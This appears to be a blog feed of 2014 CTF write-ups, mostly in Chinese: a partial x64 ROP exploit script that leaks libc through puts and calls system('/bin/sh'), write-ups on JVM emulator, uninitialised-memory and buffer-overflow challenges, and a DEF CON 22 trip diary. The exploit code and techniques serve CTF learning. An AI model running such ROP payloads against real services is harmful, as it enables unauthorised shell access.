<p>By the way, args on x64 is in register. </p>
<div class="highlight"><pre><span></span>arg1 => rdi
arg2 => rsi
arg3 => rdx
arg4 => r8
...
</pre></div>
<p>So we must find some gadget to control arguments at first.<br>
Then, we could use <code>put()</code> to leak arbitrary address.<br>
There exist a little bug.... stdout dupped to socket.<br>
We won't receive the content immediately.<br>
To solve this bug, I returned to <code>action_hiscore()</code> again because there is <code>fflush()</code> at the end of function. </p>
<p>After leaked the address, we could calulate the address of <code>system()</code>.<br>
Next, We needed a string of "/bin/sh".<br>
Luckily, we could find it in libc, too. XD<br>
So we couldn execute <code>system("/bin/sh")</code> to get the shell. </p>
<p>My partitial exploit: </p>
<div class="highlight"><pre><span></span><span class="c1"># leak address</span>
<span class="nf">raw_input</span><span class="p">(</span><span class="s2">"wait gdb"</span><span class="p">)</span>
<span class="nf">read_until</span><span class="p">(</span><span class="s2">"name? "</span><span class="p">)</span>
<span class="s s-Atom">pop_rdi</span> <span class="o">=</span> <span class="nf">up64</span><span class="p">(</span><span class="s2">"402fc3"</span><span class="p">)</span>
<span class="s s-Atom">got</span> <span class="o">=</span> <span class="nf">up64</span><span class="p">(</span><span class="s2">"605061"</span><span class="p">)</span>
<span class="s s-Atom">put</span> <span class="o">=</span> <span class="nf">up64</span><span class="p">(</span><span class="s2">"400cd0"</span><span class="p">)</span>
<span class="s s-Atom">payload</span> <span class="o">=</span> <span class="s2">"a"</span><span class="o">*</span><span class="mi">280</span> <span class="o">+</span> <span class="s s-Atom">pop_rdi</span> <span class="o">+</span> <span class="s s-Atom">got</span> <span class="o">+</span> <span class="s s-Atom">put</span> <span class="o">+</span> <span class="s s-Atom">bof</span>
<span class="nf">send_line</span><span class="p">(</span><span class="s s-Atom">payload</span><span class="p">)</span>
<span class="nf">read_until</span><span class="p">(</span><span class="s2">"...-'\"\n"</span><span class="p">)</span>
<span class="nf">read_until</span><span class="p">(</span><span class="s2">"!\n"</span><span class="p">)</span>
<span class="c1"># get leak and count libc</span>
<span class="s s-Atom">leak</span> <span class="o">=</span> <span class="nf">read_line</span><span class="p">().</span><span class="nf">strip</span><span class="p">()[</span><span class="s s-Atom">::-</span><span class="mi">1</span><span class="p">].</span><span class="nf">encode</span><span class="p">(</span><span class="s2">"hex"</span><span class="p">)</span>
<span class="s s-Atom">base</span> <span class="o">=</span> <span class="nf">int</span><span class="p">(</span><span class="s s-Atom">leak+</span><span class="s2">"00"</span><span class="p">,</span> <span class="mi">16</span><span class="p">)</span> <span class="o">-</span> <span class="mh">0x54400</span>
<span class="s s-Atom">system</span> <span class="o">=</span> <span class="nf">hex</span><span class="p">(</span><span class="s s-Atom">base</span> <span class="o">+</span> <span class="mh">0x46640</span><span class="p">)[</span><span class="mi">2</span><span class="s s-Atom">:</span><span class="p">]</span>
<span class="s s-Atom">system</span> <span class="o">=</span> <span class="nf">up64</span><span class="p">(</span><span class="s s-Atom">system</span><span class="p">)</span>
<span class="s s-Atom">binsh</span> <span class="o">=</span> <span class="nf">hex</span><span class="p">(</span><span class="s s-Atom">base</span> <span class="o">+</span> <span class="mh">0x17d87b</span><span class="p">)[</span><span class="mi">2</span><span class="s s-Atom">:</span><span class="p">]</span>
<span class="c1"># get and shell out</span>
<span class="nf">read_until</span><span class="p">(</span><span class="s2">"name? "</span><span class="p">)</span>
<span class="s s-Atom">buf</span> <span class="o">=</span> <span class="nf">up64</span><span class="p">(</span><span class="s2">"605800"</span><span class="p">)</span>
<span class="s s-Atom">payload</span> <span class="o">=</span> <span class="s2">"a"</span><span class="o">*</span><span class="mi">280</span> <span class="o">+</span> <span class="s s-Atom">pop_rdi</span> <span class="o">+</span> <span class="nf">up64</span><span class="p">(</span><span class="s s-Atom">binsh</span><span class="p">)</span> <span class="o">+</span> <span class="s s-Atom">system</span>
<span class="nf">send_line</span><span class="p">(</span><span class="s s-Atom">payload</span><span class="p">)</span>
<span class="nf">read_until</span><span class="p">(</span><span class="s2">"!\n"</span><span class="p">)</span>
<span class="s s-Atom">t</span><span class="p">.</span><span class="nf">interact</span><span class="p">()</span>
</pre></div>
<p>flag: <code>stay_in_school_and_dont_do_the_grugq</code> </p>9447 CTF 2014 pwn 420 classy2014-12-04T14:22:00+08:002014-12-04T14:22:00+08:00ddaatag:ddaa.tw,2014-12-04:/9447ctf_pwn_420_classy.html<p>這題看了十個小時多卻沒解出來<br>
實在是很挫敗......<br>
不過還是覺得這題該寫個 write up 紀錄<br>
下次才不會一樣進入思維誤區 </p>
<hr>
<p>這題是 binary 是用 C++ 寫的<br>
還包含了一些 libary function<br>
程式規模非常大 要每個 function 都看過不太可能 </p>
<p><code>main</code> 非常簡單<br>
進行 io redirect 和一些參數的檢查<br>
接著就進入兩個關鍵的 function<br>
<code>parse_file_or_die()</code> 以及 <code>gogo()</code> </p>
<p>這兩個 function 都十分複雜<br>
而且又用了不少動態跳躍<br>
即使用 ida pro 翻成 pseudo code 也不完整<br>
很難完全看懂<br>
用動態分析其行為得到結果是:</p>
<ul>
<li><code>parse_file_or_die()</code>
讀入一個 java class,如果格式有誤或者使用了不允許的動作都會發生 exception 並結束 …</li></ul><p>這題看了十個小時多卻沒解出來<br>
實在是很挫敗......<br>
不過還是覺得這題該寫個 write up 紀錄<br>
下次才不會一樣進入思維誤區 </p>
<hr>
<p>這題是 binary 是用 C++ 寫的<br>
還包含了一些 libary function<br>
程式規模非常大 要每個 function 都看過不太可能 </p>
<p><code>main</code> 非常簡單<br>
進行 io redirect 和一些參數的檢查<br>
接著就進入兩個關鍵的 function<br>
<code>parse_file_or_die()</code> 以及 <code>gogo()</code> </p>
<p>這兩個 function 都十分複雜<br>
而且又用了不少動態跳躍<br>
即使用 ida pro 翻成 pseudo code 也不完整<br>
很難完全看懂<br>
用動態分析其行為得到結果是:</p>
<ul>
<li><code>parse_file_or_die()</code>
讀入一個 java class,如果格式有誤或者使用了不允許的動作都會發生 exception 並結束</li>
<li><code>gogo()</code>
逐步執行 bytecode,如果使用沒有實作的指令或是使用 mnemonic 有問題,就跳出 exception 並結束</li>
</ul>
<p>所以這題是個 java emulator<br>
一開始以為這題是 jailbreak 的類型<br>
一直在想辦法繞過 <code>parse_file_or_die()</code> 的限制去讀 flag<br>
但是這個方向顯然是錯的<br>
直到官方放出了 <code>libc-2.19.so</code> 才把方向轉為尋找漏洞...<br>
這邊犯下了第一個錯誤--太執著於靜態分析<br>
花了很多時間在看 <code>parse_file_or_die()</code><br>
直到 Lays 發現寫 bytecode 使用數個 <code>ldc</code> 會導致程式 smash tht stack<br>
才確定 vuln 在 <code>gogo()</code> =__= </p>
<p>有了 crash 點就很輕易能找出程式是哪裡出問題 (fault localization?)<br>
逐步追蹤可以找到 crash 的原因在呼叫 <code>Stack::push()</code> 會 overflow<br>
後來又發現 istore 算好 offset 可以改到 eip 的 value<br>
但由於一次寫入會是 16 byte (tag + value)<br>
tag 值無法控制...也就是說無法控制連續的 stack<br>
只能做一次 return<br>
沒有辦法成功構造出 rop 去 leak information 再跳到 system<br>
嘗試找 gadget 來解決 stack layout 的問題<br>
經過三小時的嘗試後宣告這方向似乎是錯的....<br>
開始把方向轉到尋找可用的 bytecode<br>
但是時間已經不夠了 Q__Q </p>
<p>後來花點時間把程式完全看懂<br>
這題的問題是這樣子的.....<br>
(後面 <strong>小寫 stack</strong> 表示 elf 的 stack、<strong>大寫 Stack</strong> 表示 jvm 模擬的 stack) </p>
<p>這題在初始化 jvm 的環境後<br>
將一些參數 push 進 Stack<br>
就開始執行 java main function 的 bytecode<br>
接著可以使用 bytecode 操作 Stack 的指令去控制 stack<br>
這題的 Stack 並不是使用 C++ 的 standard library 寫的<br>
而是出題者自已寫的 Stack 物件<br>
導致可以 overflow 以及修改 stack 的內容<br>
push 的單位是一個 <code>StackItem</code> = 16 byte<br>
但也造成前面提到的不能連續控制記憶體的問題 </p>
<div class="highlight"><pre><span></span>struct StackItem
{
int tag;
int value;
};
</pre></div>
<ul>
<li><code>ldc [value or str]</code></li>
<li><code>sipush [value]</code><br>
兩個指令類似,在 Stack push StackItem</li>
<li><code>istore [offset]</code>
在 Stack + offset 的位置寫 StackItem</li>
<li><code>iload [offset]</code>
在 Stack + offset 的位置 pop StackItem,檢查 StackItem.tag 的值是不是 0x2f,如果是就 push 進 Stack</li>
</ul>
<p>理論上 <code>iload</code> 做 <code>0x2f</code> 的檢查以後沒辦法任意讀取記憶體內容<br>
但是這邊其實是有問題的<br>
原因是 Stack 的內容並沒有對齊 16 byte </p>
<div class="highlight"><pre><span></span><span class="mh">0xffffd020</span><span class="o">:</span> <span class="mh">0x0000005e</span> <span class="mh">0x08065188</span> <span class="mh">0xffffd034</span> <span class="mh">0x0805305c</span>
<span class="mh">0xffffd030</span><span class="o">:</span> <span class="mh">0x080650f8</span> <span class="mh">0x0000002f</span> <span class="mh">0x0000002f</span> <span class="mh">0x0000002f</span>
<span class="mh">0xffffd040</span><span class="o">:</span> <span class="mh">0x0000002f</span> <span class="mh">0x0000002f</span> <span class="mh">0x0000002f</span> <span class="mh">0x0000002f</span>
<span class="mh">0xffffd050</span><span class="o">:</span> <span class="mh">0x0000002f</span> <span class="mh">0x0000002f</span> <span class="mh">0x0000002f</span> <span class="mh">0x0000002f</span>
<span class="mh">0xffffd060</span><span class="o">:</span> <span class="mh">0x0000002f</span> <span class="mh">0x0000002f</span> <span class="mh">0x0000002f</span> <span class="mh">0x0eceea00</span> <span class="o"><--</span> <span class="n">stack</span> <span class="n">guard</span>
<span class="mh">0xffffd070</span><span class="o">:</span> <span class="mh">0xffffd080</span> <span class="mh">0x00000000</span> <span class="mh">0xffffd128</span> <span class="mh">0x08054180</span>
</pre></div>
<p><code>ldc 0x2f</code> push 大量的 0x2f 進入 Stack<br>
<code>iload</code> 是按照 <code>[Stack + offset\*8]</code> 的方式去存取 Stack<br>
如果把 push 的內容就是 0x2f 就可以 bypass <code>iload</code> 的 檢查<br>
因此我們可以順利得到 stack 上的內容<br>
以此例來說,<code>iload</code> 得到的結果是 stack guard<br>
用同樣的方式可以得到出 <code>libc</code> 的位置 </p>
<p>嚴格來說,這樣並沒有成功 leak memory<br>
因為不會 print 出來,我們也沒辦法再接 io<br>
但是這題也不需要<br>
用 <code>iload</code> 得到 libc 以後可以直接用 bytecode 提供的指令做運算<br>
算出 <code>system</code> 的位置,再用 <code>istore</code> 重新寫回 stack </p>
<p>總結這題的做法如下:</p>
<ol>
<li><code>iload</code> 得到 stack guard </li>
<li><code>iload</code> 得到 libc address </li>
<li>利用 <code>sipush</code>、<code>iadd</code>、<code>isub</code> 等做運算得到 <code>system</code>、<code>/bin/sh</code> </li>
<li><code>istore</code> 改寫 ret address 以及參數 </li>
<li><code>istore</code> 將被更動的 stack guard 寫回 </li>
</ol>
<hr>
<p>經過這題才發現自己的思維很狹隘<br>
執著於過去學到的 rop 走入誤區<br>
一直想著如何 leak address<br>
卻沒想到可以利用 java 本身做運算<br>
紀錄此篇 write up<br>
希望以後不會犯下同樣的錯誤 </p>CSAW CTF 2014 pwn 300 ish2014-09-23T09:23:00+08:002014-09-23T09:23:00+08:00ddaatag:ddaa.tw,2014-09-23:/csawctf_pwn_300_ish.html<p>接觸 CTF 一年整了...<br>
好像進步很多 卻又好像什麼都一樣 (嘆<br>
最後 400 分體力不支了<br>
隔天才解出有點可惜 QQ </p>
<hr>
<p><em>ish</em> 是一個模擬 shell 的程式<br>
有以下幾個指令: </p>
<ul>
<li><em>ls</em></li>
<li><em>cat</em></li>
<li><em>ping</em></li>
<li><em>admin</em></li>
<li><em>login</em></li>
<li><em>run</em></li>
<li><em>sleep</em></li>
<li><em>lotto</em></li>
<li><em>quote</em></li>
<li><em>run</em></li>
<li><em>exit</em></li>
</ul>
<p>把程式都看過一遍以後<br>
比較可疑的有 <em>cat</em>、<em>run</em>、<em>login</em>、<em>lotto</em><br>
其他都毫無意義 </p>
<p><em>cat</em> 會去開一個檔案<br>
但是開啟參數有問題<br>
檔案不存在就會生一個出來...已存在就會回傳錯誤直接 return </p>
<p><em>run</em> 是把指令切割後<br>
第一個參數丟到 <code>system</code> 呼叫<br>
不過第一個參數一定是 <em>run</em>...<br>
依然無法利用 </p>
<p><em>login</em> 會再開一次 …</p><p>接觸 CTF 一年整了...<br>
好像進步很多 卻又好像什麼都一樣 (嘆<br>
最後 400 分體力不支了<br>
隔天才解出有點可惜 QQ </p>
<hr>
<p><em>ish</em> 是一個模擬 shell 的程式<br>
有以下幾個指令: </p>
<ul>
<li><em>ls</em></li>
<li><em>cat</em></li>
<li><em>ping</em></li>
<li><em>admin</em></li>
<li><em>login</em></li>
<li><em>run</em></li>
<li><em>sleep</em></li>
<li><em>lotto</em></li>
<li><em>quote</em></li>
<li><em>run</em></li>
<li><em>exit</em></li>
</ul>
<p>把程式都看過一遍以後<br>
比較可疑的有 <em>cat</em>、<em>run</em>、<em>login</em>、<em>lotto</em><br>
其他都毫無意義 </p>
<p><em>cat</em> 會去開一個檔案<br>
但是開啟參數有問題<br>
檔案不存在就會生一個出來...已存在就會回傳錯誤直接 return </p>
<p><em>run</em> 是把指令切割後<br>
第一個參數丟到 <code>system</code> 呼叫<br>
不過第一個參數一定是 <em>run</em>...<br>
依然無法利用 </p>
<p><em>login</em> 會再開一次 shell<br>
檢查帳號是不是 <em>root</em><br>
是的話就會要求密碼<br>
並從 <em>key</em> 這個檔案讀 64 byte 後並比對<br>
但是如果密碼長度超過 64 byte<br>
<code>memset</code> 不會被觸發到<br>
密碼會被留在 stack 中 </p>
<p><em>lotto</em> 有 <strong>uninitialized varaible</strong> 造成的 memory leak<br>
可惜是用 <code>%u</code> 去印<br>
沒辦法自由調整位置 </p>
<p>這樣看完思路就很明確了<br>
利用 <em>login</em> + <em>lotto</em> 去 leak 出 flag<br>
而且出題者還很好心在這兩個 function 一開始 print 出 variable 的位置 = = </p>
<p>雖然很快就找到方向<br>
這題還是卡了一段時間.....<br>
如果照正常的順序開一個 shell 再執行 <code>lotto</code><br>
能 leak 的位置剛好在 <code>flag[64]</code> 結束<br>
剛好是 <strong>stack guard</strong> ...<br>
試了各種指令的組合也沒辦法調整 <code>esp</code><br>
一度以為這題是 bof = = </p>
<p>最後逐步比對 assembly<br>
才發現問題出在 <em>alloca</em> 這個 function<br>
一開始以為這個指令是和 <code>malloc</code> 類似<br>
但 <code>alloca</code> 是會在 stack 中把 esp 的位置向上拉來增加空間<br>
再把新的 esp 回傳<br>
因此可以利用這個指令來調整 <em>lotto</em> 所 leak 出的位置 </p>
<p>所以只要透過調整 <code>uname</code> 的長度來控制 stack<br>
就可以 leak <em>lotto</em> 之前的任意 address 了<br>
觸發順序如下: </p>
<ol>
<li><em>login with short uname</em></li>
<li><em>login with root</em></li>
<li><em>exit</em></li>
<li><em>login with long uname</em></li>
<li><em>lotto</em></li>
</ol>
<p>flag: <code>AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMOOOOXX</code> </p>HITCON CTF 2014 pwn 150 rsbo2014-08-18T23:01:00+08:002014-08-18T23:01:00+08:00ddaatag:ddaa.tw,2014-08-18:/hitcon_pwn_150_rsbo.html<p>這題是 32 bit 的 elf<br>
程式規模很小<br>
很容易就看完了 </p>
<hr>
<p>試一下超長字串就發現程式會 crash<br>
仔細看是因為 <code>read_80_bytes()</code> buffer overflow<br>
buffer 長度 80 實際讀入 0x80 ...<br>
我一開始的確沒注意 XDD </p>
<p>crash 的原因是因為 ret 被蓋掉<br>
蓋完 ret 以後還有 16 byte 的長度可以利用<br>
這題有 dep + ASLR 的保護<br>
所以沒辦法知道要跳到哪<br>
此外,輸入的內容會隨機被打亂<br>
我們沒辦法讓 ret 正確變成我們希望的內容 </p>
<div class="highlight"><pre><span></span>size = read_80_bytes(buf);
for ( i = 0; i < size; ++i )
{
v3 …</pre></div><p>這題是 32 bit 的 elf<br>
程式規模很小<br>
很容易就看完了 </p>
<hr>
<p>試一下超長字串就發現程式會 crash<br>
仔細看是因為 <code>read_80_bytes()</code> buffer overflow<br>
buffer 長度 80 實際讀入 0x80 ...<br>
我一開始的確沒注意 XDD </p>
<p>crash 的原因是因為 ret 被蓋掉<br>
蓋完 ret 以後還有 16 byte 的長度可以利用<br>
這題有 dep + ASLR 的保護<br>
所以沒辦法知道要跳到哪<br>
此外,輸入的內容會隨機被打亂<br>
我們沒辦法讓 ret 正確變成我們希望的內容 </p>
<div class="highlight"><pre><span></span>size = read_80_bytes(buf);
for ( i = 0; i < size; ++i )
{
v3 = rand();
v7 = v3 % (i + 1);
v6 = buf[i];
buf[i] = buf[v3 % (i + 1)];
buf[v7] = v6;
}
</pre></div>
<p>前面還有一個 <code>init()</code> 去讀 flag 並隨機做 xor 後當成 rand seed<br>
不過最後計算過程中的 buf 會被清空<br>
完全無法利用 </p>
<p>後來無意間發現 <code>size</code> 和 <code>i</code> 的值會被覆蓋<br>
但是有做初始化所以用不上<br>
可是如果我們將所有 buffer 都塞成 <code>\x00</code> 會發生什麼事呢?<br>
如果在交換過程中 <code>size</code> 與其他 byte 做交換<br>
只要 <code>size</code> 所代表的 4 個 byte 都被換掉<br>
<code>size</code> 的值就會變成 0<br>
迴圈因此中止<br>
扣掉 <code>size</code> 和 <code>i</code> 以後<br>
因此我們會有 20 byte 可以利用<br>
此時就可以開始利用 ROP 做點事情 </p>
<p>如果沒有 ASLR 的保護我們可以直接透過 <code>return to libc</code> 去拿到 shell<br>
<strong>可惜世界上總是很多事情沒有如果...</strong><br>
所以我們必須先想辦法讓程式 memory leak<br>
這樣一來 20 byte 就完全不夠用了...<br>
所以我們可以 ret 到 <code>read_80_bytes</code> 來讀取更多的內容<br>
不直接跳到 <code>read</code> 是為了省下參數空間 </p>
<p>btw, 因為暫存的 <code>ebp</code> 會被覆蓋<br>
執行到 <code>leave</code> 時會改變 <code>esp</code><br>
在讀完額外的 80 byte 時<br>
我們將內容讀到 bss segment 上<br>
並且將 <code>ebp</code> 蓋成 bss 的位置<br>
第二階段的 rop chain 都改放在 bss 上 </p>
<p>最後只要隨便找個 got 上有的 function<br>
把內容改成 <code>system</code> 的位置<br>
在 cat flag 就得到結果了 </p>
<p>flag: <code>HITCON{Y0ur rand0m pay1oad s33ms w0rk, 1uckv 9uy}</code></p>DEF CON 22 CTF Final summary2014-08-13T18:34:00+08:002014-08-13T18:34:00+08:00ddaatag:ddaa.tw,2014-08-13:/defcon_other_summary.html<p><strong>===WARNING===</strong>
這篇文章廢話超多......<br>
若要看比賽細節請直接跳至 <strong>8/8</strong> </p>
<hr>
<h2>8/5</h2>
<hr>
<p>必須說這次的出國真的很刺激<br>
首先是 orange 的簽證填錯護照號碼 XD<br>
過安檢的時候 jery 背包的一堆給溪都被丟掉了<br>
到 SFO 之後 sean 和 jery 過海關時不知為何被攔下<br>
好險長榮的工作人員去解圍<br>
經過一番波折終於抵達 las vegas<br>
在搭機場到飯店的接駁車上<br>
深深為 strip 的夜景感到驚豔 </p>
<blockquote>
<p>TT: 就是 unix 那個 strip </p>
</blockquote>
<p>可惜相機還放在行李箱裡 Orz<br>
抵達飯店 RIO 以後跟 GD 會合<br>
在等待 checkin 的時間把一樓賭場逛了逛<br>
有種劉姥姥進大觀園的感覺~<br>
回飯店放完行李就出發覓食<br>
最後吃了漢堡王...好貴<br>
不過份量也很大 …</p><p><strong>===WARNING===</strong>
這篇文章廢話超多......<br>
若要看比賽細節請直接跳至 <strong>8/8</strong> </p>
<hr>
<h2>8/5</h2>
<hr>
<p>必須說這次的出國真的很刺激<br>
首先是 orange 的簽證填錯護照號碼 XD<br>
過安檢的時候 jery 背包的一堆給溪都被丟掉了<br>
到 SFO 之後 sean 和 jery 過海關時不知為何被攔下<br>
好險長榮的工作人員去解圍<br>
經過一番波折終於抵達 las vegas<br>
在搭機場到飯店的接駁車上<br>
深深為 strip 的夜景感到驚豔 </p>
<blockquote>
<p>TT: 就是 unix 那個 strip </p>
</blockquote>
<p>可惜相機還放在行李箱裡 Orz<br>
抵達飯店 RIO 以後跟 GD 會合<br>
在等待 checkin 的時間把一樓賭場逛了逛<br>
有種劉姥姥進大觀園的感覺~<br>
回飯店放完行李就出發覓食<br>
最後吃了漢堡王...好貴<br>
不過份量也很大<br>
大家對蘑菇醬很有話題...XDD<br>
<img alt="IMG_1733.JPG" src="http://user-image.logdown.io/user/6149/blog/6156/post/220500/WBrjgcYzQoSJ7dOIROZK_IMG_1733.JPG"></p>
<p>吃完去賭場逛逛<br>
大家玩了幾次吃角子老虎<br>
輸一點小錢就回房間洗洗睡<br>
因為網路要另外收錢 = =<br>
順便抱怨飯店的提供的肥皂和洗髮精真的很難用<br>
我有點皮膚過敏的反應 orz<br>
<img alt="IMG_1734.JPG" src="http://user-image.logdown.io/user/6149/blog/6156/post/220500/lE6XqYfnTeuUtH8tPf4Y_IMG_1734.JPG"> </p>
<h2>8/6</h2>
<hr>
<p>如果不算昨天,今天是到 las vegas 的第一天<br>
其實感覺不到什麼時差<br>
睡到大約九點<br>
發現 jeffxx 等人早就起床去吃過早餐了<br>
其他人也就集合下去吃<br>
一部分的人吃 starbucks<br>
其他人又去吃漢堡王 XDD<br>
starbucks 好貴 ...<br>
$11 ... 應該是我生平吃過最貴的早餐了 </p>
<p>吃完早餐有些人就回去調時差<br>
其他人各自做自己的事情<br>
等到下午大家開始整合事前準備<br>
由於賽前無法得知規則及環境<br>
大家盡可能的推演各種狀況<br>
並分成 <strong>wrapper</strong> 和 <strong>script</strong> 兩組<br>
分配工作給大家<br>
兩組的工作主要有: </p>
<ul>
<li>wrapper (seau jery peter shik lucas)</li>
<li>pty</li>
<li>socket</li>
<li>ld_preload </li>
<li>ptrace</li>
<li>script (orange jeffxx atdog dm4 and me)</li>
<li>backdoor</li>
<li>backup token & log</li>
<li>monitor dir, port, ... etc</li>
<li>parse pcap</li>
</ul>
<p>除此之外還有模擬 gamebox 環境<br>
由 orange 和 jery 負責<br>
討論完後大家就各自工作<br>
其餘的時間除了吃 buffet 以外<br>
就是各自工作<br>
buffet 味道還不錯<br>
不過柳橙汁超酸<br>
中途大家要發表一下賽前心得...<br>
超難的 我已經不記得自己講什麼了 = =<br>
吃完原本打算去賭場浪費 $$<br>
結果才坐下來就被保安檢查<br>
我沒帶證件就被趕回房間了 QQ<br>
把一些 script 做細微修改<br>
剩下的時間研究去年 blue-lotus 的心得和去年 defcon 規則<br>
<img alt="IMG_1757.JPG" src="http://user-image.logdown.io/user/6149/blog/6156/post/220500/IJ1AfSDFRduOKnyl14Je_IMG_1757.JPG"> </p>
<h2>8/7</h2>
<hr>
<p>早上 alan 幫大家準備的早點<br>
吃一吃不知道誰提議要吃泡麵<br>
我帶的熱水壺就派上用場 XD<br>
吃完原本以為是要去樓下聽規則<br>
結果只是領取 badge 和一些大會贈品<br>
badge 是一塊...開發板 ?<br>
裡面似乎可以編寫自己的功能<br>
還有一些奇怪的模組 XD<br>
我對硬體不熟就沒研究了<br>
沒多久 alan 買完其他人的 badge<br>
大概有 20 幾個 ... 超扯 XD<br>
<img alt="IMG_1766.JPG" src="http://user-image.logdown.io/user/6149/blog/6156/post/220500/Q6WB6yoSSTSIpK7eFW7y_IMG_1766.JPG"> </p>
<p>接著我們下去買紀念 t-shirt 的攤位<br>
一路上都是排隊買票的隊伍<br>
長度快要突破天際啦~~~<br>
<img alt="IMG_1770.JPG" src="http://user-image.logdown.io/user/6149/blog/6156/post/220500/0xO4c4xRQzWTtBvcJCrq_IMG_1770.JPG"><br>
到攤位才知道原來 t-shirt 有很多種<br>
樣式還滿好看的 不輸西門町一些潮T<br>
最有看頭的是白色醫生袍 XDDD<br>
穿上去實在很酷<br>
不過如果平常穿可能恥力要夠 XD<br>
因為帶的錢不夠<br>
只好先買了一件外套和 t-shirt<br>
外套要 $60 樣式很普通<br>
材質感覺不錯 穿起來很舒服<br>
<img alt="IMG_1773.JPG" src="http://user-image.logdown.io/user/6149/blog/6156/post/220500/MDiHWTHESwispnHRXdCM_IMG_1773.JPG"> </p>
<p>下午去逛 outlet<br>
orange & alan & me 搭導演的車<br>
其他人就搭車前往<br>
逛了半天結果我只買一隻冰淇淋來吃 XD<br>
其他人都各自有收穫<br>
回程順便去中國超市幫忙採購明天的早餐<br>
看到很多台灣的商品<br>
結帳時店員也是來自台灣<br>
還跟 alan 要電話 XD<br>
<img alt="IMG_1804.JPG" src="http://user-image.logdown.io/user/6149/blog/6156/post/220500/aMIkfF4QESjWNzS6DltI_IMG_1804.JPG"> </p>
<p>等大家都回到飯店後<br>
對明天比賽的戰術最後討論<br>
基本上有: </p>
<ul>
<li>檢查 gamebox 能用上的 wrapper</li>
<li>上 wrapper</li>
<li>上 script</li>
<li>與外場 sync 資訊</li>
<li>錯誤狀況 & SOP </li>
</ul>
<p>討論持續到晚上一點多大家才休息<br>
主要是 wrapper 組要做的事情真的很多<br>
他們甚至省下 outlet 的行程趕工<br>
太強大了 <(_ _)> </p>
<h1>8/8</h1>
<hr>
<p>大家一大早就到樓下等著比賽開始<br>
看到很多之前只會在網路看到的隊伍<br>
感覺還滿奇妙的 XD<br>
大家進場後場外組和後援組就待在隔壁間<br>
透過事先建好的 ssh tunnel 操作<br>
我這邊負責建置的 script 沒遇到什麼問題<br>
ptrace 如預期的不能用<br>
wrapper 大部分都接了上去<br>
10 點正式開始<br>
開放兩個服務:<code>eliza</code> and <code>wdub</code><br>
<code>eliza</code> 簡單的說就是大航海時代宇宙版<br>
可以買賣東西賺錢這樣<br>
<code>wdup</code> 是一個 http server<br>
不過由於只能透過 ctf.tw 存取<br>
沒有 browser 可用<br>
暫時就沒看這邊 </p>
<p>一開始就不太順利<br>
<strong>wrapper 沒辦法通過主辦方的 service check</strong><br>
一開始就墊底 OTZ<br>
更慘的是 開賽兩小時後對外網路 gg<br>
<strong>帶來的 switch 對 vlan 999 的支援有問題</strong><br>
場內暫時用 4G 上網<br>
場外則完全無法連線<br>
還好 <code>eliza</code> 是用 qemu 模擬 x86 的服務<br>
暫時還可以做離線分析<br>
這邊我試到可以控制 eip<br>
要開始寫 ROP 時<br>
場內也是進行到這步驟<br>
為了避免工作重疊就交給 sean 來寫 exploit<br>
在這邊我們場外組犯了一個錯誤<br>
<strong>看到 <code>wdup</code> 有 html , 一直以為<code>wdup</code>是 web 題......</strong><br>
網路問題導至內外的資訊傳遞一直很緩慢<br>
一直到第二天快結束才反應過來<br>
超虧... <code>wdup</code> 可能是我們掉最多分的一題 </p>
<p>後來 GD 拿 thinkpad 接無線網卡暫時做為 router 使用<br>
讓場外組可以 access 內網 不過延遲很高...<br>
途中還有幾個突發狀況: </p>
<ul>
<li>內外網全死,疑似是有隊伍做 dos,應該是透過 <code>eliza</code>,cpu 使用率很高</li>
<li>peter 和 shik 嘗試解 badge 題,結果在燒一次版子要兩分鐘,中間剛好 service check XDD</li>
<li>lucas 透過分析封包時發現 <code>eliza</code> 根本沒有 DEP,不過此時 sean 也差不多完成 ROP exploit 了</li>
</ul>
<p>過一段時間又開了一題 <code>imap</code><br>
顧名思義就是可以做 imap protocol 的各種操作<br>
這題的 flag 位置跟其他題都不同<br>
猜測是 owner 為 root 資料夾底下有個特殊的檔案<br>
此外資料夾底下還有登入用的 password<br>
由於 tunnel 實在很 lag<br>
我只好在手機上用 gdb 去 reverse 這題<br>
lucas 有發現可疑的流量<br>
有其他隊伍直接就登入、讀 flag 並結束連線<br>
前面完全沒有獲得帳密的過程<br>
由於沒有備份 flag 很難確認到底是不是被攻擊了<br>
但我猜測應該並沒有被攻陷<br>
因為此流量的來源隊伍名次較後<br>
如果有成功拿 flag 不應該如此<br>
這流量的產生有兩個可能: </p>
<ol>
<li>此主辦方的 service check</li>
<li>此為其他隊伍混淆視聽的假流量</li>
</ol>
<p>現在想想應該是第二個可能<br>
畢竟主辦方在有切 vlan 的情況下<br>
應該不會提供 service check 的流量 </p>
<p>正當場外在研究 <code>imap</code>時<br>
場內似乎發現有其他隊伍用 <code>eliza</code> 的新漏洞來攻擊我們<br>
這個沒辦法透過 replay exploit 去獲得分數<br>
發生 exploit 需要遊戲金額到一定數量才能觸發<br>
物品和星球都是隨機生成<br>
所以必須先寫個自動賺錢外掛 XDD<br>
這邊就給 217 的 acm 大大去搞定 </p>
<p>回到飯店後吃晚餐順便討論今天的戰況<br>
抱歉我完全不記得午餐和晚餐吃什麼.......OTZ<br>
比賽期間我們的名次在 4~8 名徘徊<br>
第一名由_韓國 ASRT_ 遙遙領先<br>
沒意外 <code>eliza</code> 最早的 exploit 就是由他們寫出<br>
第二名則由 <em>men in blackhats</em> 迎頭趕上<br>
第三名是 <em>ppp</em><br>
第四名 <em>blue-lotus</em><br>
我們暫居第五 </p>
<p>討論完以後大家又繼續離線分析<br>
但是實在太累大家相繼睡去<br>
直到半夜又醒來解題 XDD<br>
dm4 給我了一個 <code>imap</code> 可疑流量<br>
這次是真的可以 work !<br>
發現執行完 payload 以後<br>
可以用 <code>list</code> 指令做任意路徑存取<br>
也就是可以得知使用者帳戶名稱及存放密碼的檔案<br>
由於密碼存放的資料夾和目錄是 666<br>
我瞬間念頭是可以透過其他 service 來存取這些檔案<br>
這個 payload 應該也只做到目前這樣<br>
後來 atdog 睡醒之後加入分析的行列<br>
眼尖的發現 payload 的檔名是用 <code>aaaaaaaaaaaaaaaaaaaaaaaaaaa../</code><br>
但是這樣的路徑根本不會 work XD<br>
原來這邊是一個 BOF 造成的邏輯漏洞<br>
突破盲點後很快我們找出 exploit 的位置<br>
並由 dm4 寫出攻擊的 script<br>
另一邊 <code>eliza</code> 也成功賺到足夠的 $$ 並寫出 exploit </p>
<h2>8/9</h2>
<hr>
<p>第二天一早要進場但是被擋在外面要排隊<br>
最後要由隊長拿 token 讓 8 個人進去<br>
因此外場組就只能在外面等<br>
